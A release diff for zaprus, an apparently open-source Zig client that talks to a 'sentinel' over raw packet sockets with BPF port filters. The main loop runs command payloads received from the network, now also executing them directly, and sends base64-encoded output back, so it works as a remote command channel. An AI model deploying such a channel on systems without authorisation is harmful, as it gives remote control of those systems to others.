Release v0.2.00.2.0

8 files changed, 454 insertions, 216 deletions

diff --git a/src/Client.zig b/src/Client.zig
index ae9ca66..2344f83 100644
--- a/src/Client.zig
+++ b/src/Client.zig
@@ -1,3 +1,21 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+//! A client is used to handle interactions with the network.
+
 const base64_enc = std.base64.standard.Encoder;
 const base64_dec = std.base64.standard.Decoder;
 
@@ -21,6 +39,8 @@ pub fn deinit(self: *Client) void {
     self.* = undefined;
 }
 
+/// Sends a fire and forget message over the network.
+/// This function asserts that `payload` fits within a single packet.
 pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
     const io_source: std.Random.IoSource = .{ .io = io };
     const rand = io_source.interface();
@@ -60,7 +80,8 @@ pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void
     try self.socket.send(full_msg);
 }
 
-pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
+/// Attempts to establish a new connection with the sentinel.
+pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection {
     const io_source: std.Random.IoSource = .{ .io = io };
     const rand = io_source.interface();
 
@@ -84,7 +105,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
     var connection: SaprusMessage = .{
         .connection = .{
             .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
-            .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+            .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise
             .seq = undefined,
             .id = undefined,
             .payload = payload,
@@ -92,7 +113,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
     };
 
     log.debug("Setting bpf filter to port {}", .{connection.connection.src});
-    self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| {
+    self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| {
         log.err("Failed to set port filter: {t}", .{err});
         return err;
     };
@@ -115,7 +136,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
 
     log.debug("Awaiting handshake response", .{});
     // Ignore response from sentinel, just accept that we got one.
-    _ = try self.socket.receive(&res_buf);
+    const full_handshake_res = try self.socket.receive(&res_buf);
+    const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| {
+        log.err("Parse error: {t}", .{err});
+        return err;
+    };
+    self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| {
+        log.err("Failed to set port filter: {t}", .{err});
+        return err;
+    };
+    connection.connection.dest = handshake_res.connection.src;
+    connection_bytes = connection.toBytes(&connection_buf);
 
     headers.udp.dst_port = udp_dest_port;
     headers.ip.id = rand.int(u16);
@@ -131,12 +162,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
 
     try self.socket.send(full_msg);
 
-    return .init(self.socket, headers, connection);
+    return .{
+        .socket = self.socket,
+        .headers = headers,
+        .connection = connection,
+    };
 }
 
 const RawSocket = @import("./RawSocket.zig");
 
 const SaprusMessage = @import("message.zig").Message;
+const saprusParse = SaprusMessage.parse;
 const SaprusConnection = @import("Connection.zig");
 const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
 
diff --git a/src/Connection.zig b/src/Connection.zig
index 95805de..19be710 100644
--- a/src/Connection.zig
+++ b/src/Connection.zig
@@ -1,36 +1,80 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
 socket: RawSocket,
 headers: EthIpUdp,
 connection: SaprusMessage,
 
 const Connection = @This();
 
-pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection {
-    return .{
-        .socket = socket,
-        .headers = headers,
-        .connection = connection,
-    };
-}
-
-pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 {
-    _ = io;
-    log.debug("Awaiting connection message", .{});
-    const res = try self.socket.receive(buf);
-    log.debug("Received {} byte connection message", .{res.len});
-    const msg: SaprusMessage = try .parse(res[42..]);
-    const connection_res = msg.connection;
-
-    log.debug("Payload was {s}", .{connection_res.payload});
-
-    return connection_res.payload;
+// 'p' as base64
+const pong = "cA==";
+
+/// Attempts to read from the network, and returns the next message, if any.
+///
+/// Asserts that `buf` is large enough to store the message that is received.
+///
+/// This will internally process management messages, and return the message
+/// payload for the next non management connection message.
+/// This function is ignorant to the message encoding.
+pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 {
+    while (true) {
+        log.debug("Awaiting connection message", .{});
+        const res = try self.socket.receive(buf);
+        log.debug("Received {} byte connection message", .{res.len});
+        const msg = SaprusMessage.parse(res[42..]) catch |err| {
+            log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] });
+            return err;
+        };
+
+        switch (msg) {
+            .connection => |con_res| {
+                if (try con_res.management()) |mgt| {
+                    log.debug("Received management message {t}", .{mgt});
+                    switch (mgt) {
+                        .ping => {
+                            log.debug("Sending pong", .{});
+                            try self.send(io, .{ .management = true }, pong);
+                            log.debug("Sent pong message", .{});
+                        },
+                        else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}),
+                    }
+                } else {
+                    log.debug("Payload was {s}", .{con_res.payload});
+                    return con_res.payload;
+                }
+            },
+            else => |m| {
+                std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)});
+            },
+        }
+    }
 }
 
-pub fn send(self: *Connection, io: Io, buf: []const u8) !void {
+/// Attempts to write a message to the network.
+///
+/// Clients should pass `.{}` for options unless you know what you are doing.
+/// `buf` will be sent over the network as-is; this function is ignorant of encoding.
+pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void {
     const io_source: std.Random.IoSource = .{ .io = io };
     const rand = io_source.interface();
 
     log.debug("Sending connection message", .{});
 
+    self.connection.connection.options = options;
     self.connection.connection.payload = buf;
     var connection_bytes_buf: [2048]u8 = undefined;
     const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig
index 27fc611..251ed64 100644
--- a/src/EthIpUdp.zig
+++ b/src/EthIpUdp.zig
@@ -1,3 +1,19 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
 pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
     // --- UDP (Last in memory, defined first for LSB->MSB) ---
     udp: packed struct {
diff --git a/src/RawSocket.zig b/src/RawSocket.zig
index 71b4e1c..9561dcf 100644
--- a/src/RawSocket.zig
+++ b/src/RawSocket.zig
@@ -1,3 +1,19 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
 const RawSocket = @This();
 
 const is_debug = builtin.mode == .Debug;
@@ -16,7 +32,12 @@ const Ifconf = extern struct {
     },
 };
 
-pub fn init() !RawSocket {
+pub fn init() error{
+    SocketError,
+    NicError,
+    NoInterfaceFound,
+    BindError,
+}!RawSocket {
     const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError;
     if (socket < 0) return error.SocketError;
 
@@ -117,7 +138,7 @@ pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
     return buf[0..len];
 }
 
-pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
+pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void {
     const BPF = std.os.linux.BPF;
     // BPF instruction structure for classic BPF
     const SockFilter = extern struct {
@@ -133,11 +154,26 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
     };
 
     // Build the filter program
-    const filter = [_]SockFilter{
+    const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{
         // Load 2 bytes at offset 46 (absolute)
         .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
+        // Jump if equal to port (skip 1 if true, skip 0 if false)
+        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) },
+        // Return 0x0 (fail)
+        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+        // Load 2 bytes at offset 48 (absolute)
+        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
+        // Jump if equal to port (skip 0 if true, skip 1 if false)
+        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
+        // Return 0xffff (pass)
+        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
+        // Return 0x0 (fail)
+        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+    } else &[_]SockFilter{
+        // Load 2 bytes at offset 48 (absolute)
+        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
         // Jump if equal to port (skip 0 if true, skip 1 if false)
-        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) },
+        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
         // Return 0xffff (pass)
         .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
         // Return 0x0 (fail)
@@ -145,8 +181,8 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
     };
 
     const fprog = SockFprog{
-        .len = filter.len,
-        .filter = &filter,
+        .len = @intCast(filter.len),
+        .filter = filter.ptr,
     };
 
     // Attach filter to socket using setsockopt
diff --git a/src/c_api.zig b/src/c_api.zig
index 964f399..c2f3190 100644
--- a/src/c_api.zig
+++ b/src/c_api.zig
@@ -1,3 +1,19 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
 const std = @import("std");
 const zaprus = @import("zaprus");
 
@@ -83,6 +99,6 @@ export fn zaprus_connection_send(
     const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
     const zc = c orelse return 1;
 
-    zc.send(io, payload[0..payload_len]) catch return 1;
+    zc.send(io, .{}, payload[0..payload_len]) catch return 1;
     return 0;
 }
diff --git a/src/main.zig b/src/main.zig
index 07fe9e2..10dca33 100644
--- a/src/main.zig
+++ b/src/main.zig
@@ -1,3 +1,19 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
 const is_debug = builtin.mode == .Debug;
 
 const help =
@@ -162,7 +178,37 @@ pub fn main(init: std.process.Init) !void {
                     .stdout = .pipe,
                     .stderr = .ignore,
                     .stdin = .ignore,
-                }) catch continue;
+                }) catch |err| switch (err) {
+                    error.AccessDenied,
+                    error.FileBusy,
+                    error.FileNotFound,
+                    error.FileSystem,
+                    error.InvalidExe,
+                    error.IsDir,
+                    error.NotDir,
+                    error.OutOfMemory,
+                    error.PermissionDenied,
+                    error.SymLinkLoop,
+                    error.SystemResources,
+                    => blk: {
+                        log.debug("Trying to execute command directly: {s}", .{connection_payload});
+                        var argv_buf: [128][]const u8 = undefined;
+                        var argv: ArrayList([]const u8) = .initBuffer(&argv_buf);
+                        var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n");
+                        while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue;
+                        break :blk std.process.spawn(init.io, .{
+                            .argv = argv.items,
+                            .stdout = .pipe,
+                            .stderr = .ignore,
+                            .stdin = .ignore,
+                        }) catch continue;
+                    },
+                    error.Canceled,
+                    error.NoDevice,
+                    error.OperationUnsupported,
+                    => |e| return e,
+                    else => continue,
+                };
 
                 var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
                 var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
@@ -184,7 +230,7 @@ pub fn main(init: std.process.Init) !void {
                         error.EndOfStream => {
                             cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
                             if (cmd_output.end > 0) {
-                                connection.send(init.io, cmd_output.buffered()) catch |e| {
+                                connection.send(init.io, .{}, cmd_output.buffered()) catch |e| {
                                     log.debug("Failed to send connection chunk: {t}", .{e});
                                     continue :next_message;
                                 };
@@ -193,7 +239,7 @@ pub fn main(init: std.process.Init) !void {
                         },
                     };
                     cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
-                    connection.send(init.io, cmd_output.buffered()) catch |err| {
+                    connection.send(init.io, .{}, cmd_output.buffered()) catch |err| {
                         log.debug("Failed to send connection chunk: {t}", .{err});
                         continue :next_message;
                     };
diff --git a/src/message.zig b/src/message.zig
index d9d1914..4198737 100644
--- a/src/message.zig
+++ b/src/message.zig
@@ -1,205 +1,232 @@
-pub const MessageTypeError = error{
-    NotImplementedSaprusType,
-    UnknownSaprusType,
-};
-pub const MessageParseError = MessageTypeError || error{
-    InvalidMessage,
-};
-
-const message = @This();
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
 
 pub const Message = union(enum(u16)) {
     relay: Message.Relay = 0x003C,
     connection: Message.Connection = 0x00E9,
     _,
 
-    pub const Relay = message.Relay;
-    pub const Connection = message.Connection;
+    pub const Relay = struct {
+        dest: Dest,
+        checksum: [2]u8 = undefined,
+        payload: []const u8,
+
+        pub const Dest = struct {
+            bytes: [relay_dest_len]u8,
+
+            /// Asserts bytes is less than or equal to 4 bytes
+            pub fn fromBytes(bytes: []const u8) Dest {
+                var buf: [4]u8 = @splat(0);
+                std.debug.assert(bytes.len <= buf.len);
+                @memcpy(buf[0..bytes.len], bytes);
+                return .{ .bytes = buf };
+            }
+        };
 
-    pub fn toBytes(self: message.Message, buf: []u8) []u8 {
-        return switch (self) {
-            inline .relay, .connection => |m| m.toBytes(buf),
-            else => unreachable,
+        /// Asserts that buf is large enough to fit the relay message.
+        pub fn toBytes(self: Relay, buf: []u8) []u8 {
+            var out: Writer = .fixed(buf);
+            out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable;
+            out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
+            out.writeAll(&self.dest.bytes) catch unreachable;
+            out.writeAll(self.payload) catch unreachable;
+            return out.buffered();
+        }
+
+        // test toBytes {
+        //     var buf: [1024]u8 = undefined;
+        //     const relay: Relay = .init(
+        //         .fromBytes(&.{ 172, 18, 1, 30 }),
+        //         // zig fmt: off
+        //     &[_]u8{
+        //         0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+        //         0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+        //     },
+        //     // zig fmt: on
+        //     );
+        //     // zig fmt: off
+        // var expected = [_]u8{
+        //     0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
+        //     0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+        //     0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+        // };
+        // // zig fmt: on
+        //     try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
+        // }
+    };
+
+    pub const Connection = struct {
+        src: u16,
+        dest: u16,
+        seq: u32,
+        id: u32,
+        reserved: u8 = undefined,
+        options: Options = .{},
+        payload: []const u8,
+
+        /// Option values.
+        /// Currently used!
+        pub const Options = packed struct(u8) {
+            opt1: bool = false,
+            opt2: bool = false,
+            opt3: bool = false,
+            opt4: bool = false,
+            opt5: bool = false,
+            opt6: bool = false,
+            opt7: bool = false,
+            management: bool = false,
         };
-    }
 
-    pub const parse = message.parse;
-};
+        /// Asserts that buf is large enough to fit the connection message.
+        pub fn toBytes(self: Connection, buf: []u8) []u8 {
+            var out: Writer = .fixed(buf);
+            out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
+            out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
+            out.writeInt(u16, self.src, .big) catch unreachable;
+            out.writeInt(u16, self.dest, .big) catch unreachable;
+            out.writeInt(u32, self.seq, .big) catch unreachable;
+            out.writeInt(u32, self.id, .big) catch unreachable;
+            out.writeByte(self.reserved) catch unreachable;
+            out.writeStruct(self.options, .big) catch unreachable;
+            out.writeAll(self.payload) catch unreachable;
+            return out.buffered();
+        }
 
-pub const relay_dest_len = 4;
+        /// If the current message is a management message, return what kind.
+        /// Else return null.
+        pub fn management(self: Connection) ParseError!?Management {
+            const b64_dec = std.base64.standard.Decoder;
+            if (self.options.management) {
+                var buf: [1]u8 = undefined;
+                _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage;
+
+                return switch (buf[0]) {
+                    'P' => .ping,
+                    'p' => .pong,
+                    else => error.UnknownSaprusType,
+                };
+            }
+            return null;
+        }
 
-pub fn parse(bytes: []const u8) MessageParseError!Message {
-    var in: Reader = .fixed(bytes);
-    const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
-        error.InvalidEnumTag => return error.UnknownSaprusType,
-        else => return error.InvalidMessage,
+        pub const Management = enum {
+            ping,
+            pong,
+        };
     };
-    const checksum = in.takeArray(2) catch return error.InvalidMessage;
-    switch (@"type") {
-        .relay => {
-            const dest: Relay.Dest = .fromBytes(
-                in.takeArray(relay_dest_len) catch return error.InvalidMessage,
-            );
-            const payload = in.buffered();
-            return .{
-                .relay = .{
-                    .dest = dest,
-                    .checksum = checksum.*,
-                    .payload = payload,
-                },
-            };
-        },
-        .connection => {
-            const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
-            const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
-            const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
-            const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
-            const reserved = in.takeByte() catch return error.InvalidMessage;
-            const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
-            const payload = in.buffered();
-            return .{
-                .connection = .{
-                    .src = src,
-                    .dest = dest,
-                    .seq = seq,
-                    .id = id,
-                    .reserved = reserved,
-                    .options = options,
-                    .payload = payload,
-                },
-            };
-        },
-        else => return error.NotImplementedSaprusType,
-    }
-}
 
-test parse {
-    _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
-
-    {
-        const expected: Message = .{
-            .connection = .{
-                .src = 12416,
-                .dest = 61680,
-                .seq = 0,
-                .id = 0,
-                .reserved = 0,
-                .options = @bitCast(@as(u8, 100)),
-                .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
-            },
+    pub fn toBytes(self: Message, buf: []u8) []u8 {
+        return switch (self) {
+            inline .relay, .connection => |m| m.toBytes(buf),
+            else => unreachable,
         };
-        const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
+    }
 
-        try std.testing.expectEqualDeep(expected, actual);
+    pub fn parse(bytes: []const u8) ParseError!Message {
+        var in: Reader = .fixed(bytes);
+        const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) {
+            error.InvalidEnumTag => return error.UnknownSaprusType,
+            else => return error.InvalidMessage,
+        };
+        const checksum = in.takeArray(2) catch return error.InvalidMessage;
+        switch (@"type") {
+            .relay => {
+                const dest: Relay.Dest = .fromBytes(
+                    in.takeArray(relay_dest_len) catch return error.InvalidMessage,
+                );
+                const payload = in.buffered();
+                return .{
+                    .relay = .{
+                        .dest = dest,
+                        .checksum = checksum.*,
+                        .payload = payload,
+                    },
+                };
+            },
+            .connection => {
+                const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
+                const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
+                const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
+                const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
+                const reserved = in.takeByte() catch return error.InvalidMessage;
+                const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
+                const payload = in.buffered();
+                return .{
+                    .connection = .{
+                        .src = src,
+                        .dest = dest,
+                        .seq = seq,
+                        .id = id,
+                        .reserved = reserved,
+                        .options = options,
+                        .payload = payload,
+                    },
+                };
+            },
+            else => return error.NotImplementedSaprusType,
+        }
     }
-}
 
-const Relay = struct {
-    dest: Dest,
-    checksum: [2]u8 = undefined,
-    payload: []const u8,
+    test parse {
+        _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
 
-    pub const Dest = struct {
-        bytes: [relay_dest_len]u8,
+        {
+            const expected: Message = .{
+                .connection = .{
+                    .src = 12416,
+                    .dest = 61680,
+                    .seq = 0,
+                    .id = 0,
+                    .reserved = 0,
+                    .options = @bitCast(@as(u8, 100)),
+                    .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
+                },
+            };
+            const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
 
-        /// Asserts bytes is less than or equal to 4 bytes
-        pub fn fromBytes(bytes: []const u8) Dest {
-            var buf: [4]u8 = @splat(0);
-            std.debug.assert(bytes.len <= buf.len);
-            @memcpy(buf[0..bytes.len], bytes);
-            return .{ .bytes = buf };
+            try std.testing.expectEqualDeep(expected, actual);
         }
-    };
-
-    pub fn init(dest: Dest, payload: []const u8) Relay {
-        return .{ .dest = dest, .payload = payload };
     }
 
-    /// Asserts that buf is large enough to fit the relay message.
-    pub fn toBytes(self: Relay, buf: []u8) []u8 {
-        var out: Writer = .fixed(buf);
-        out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable;
-        out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
-        out.writeAll(&self.dest.bytes) catch unreachable;
-        out.writeAll(self.payload) catch unreachable;
-        return out.buffered();
+    test "Round trip" {
+        {
+            const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
+            const msg = (try parse(&expected)).connection;
+            var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
+            const res = msg.toBytes(&res_buf);
+            try expectEqualMessageBuffers(&expected, res);
+        }
     }
 
-    test toBytes {
-        var buf: [1024]u8 = undefined;
-        const relay: Relay = .init(
-            .fromBytes(&.{ 172, 18, 1, 30 }),
-            // zig fmt: off
-            &[_]u8{
-                0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-                0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-            },
-            // zig fmt: on
-        );
-        // zig fmt: off
-        var expected = [_]u8{
-            0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
-            0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-            0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-        };
-        // zig fmt: on
-        try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
+    // Skip checking the length / checksum, because that is undefined.
+    fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
+        try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
+        try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
     }
-};
 
-const Connection = struct {
-    src: u16,
-    dest: u16,
-    seq: u32,
-    id: u32,
-    reserved: u8 = undefined,
-    options: Options = undefined,
-    payload: []const u8,
-
-    /// Reserved option values.
-    /// Currently unused.
-    pub const Options = packed struct(u8) {
-        opt1: bool = false,
-        opt2: bool = false,
-        opt3: bool = false,
-        opt4: bool = false,
-        opt5: bool = false,
-        opt6: bool = false,
-        opt7: bool = false,
-        opt8: bool = false,
+    pub const TypeError = error{
+        NotImplementedSaprusType,
+        UnknownSaprusType,
+    };
+    pub const ParseError = TypeError || error{
+        InvalidMessage,
     };
-
-    /// Asserts that buf is large enough to fit the connection message.
-    pub fn toBytes(self: Connection, buf: []u8) []u8 {
-        var out: Writer = .fixed(buf);
-        out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
-        out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
-        out.writeInt(u16, self.src, .big) catch unreachable;
-        out.writeInt(u16, self.dest, .big) catch unreachable;
-        out.writeInt(u32, self.seq, .big) catch unreachable;
-        out.writeInt(u32, self.id, .big) catch unreachable;
-        out.writeByte(self.reserved) catch unreachable;
-        out.writeStruct(self.options, .big) catch unreachable;
-        out.writeAll(self.payload) catch unreachable;
-        return out.buffered();
-    }
 };
 
-test "Round trip" {
-    {
-        const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
-        const msg = (try parse(&expected)).connection;
-        var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
-        const res = msg.toBytes(&res_buf);
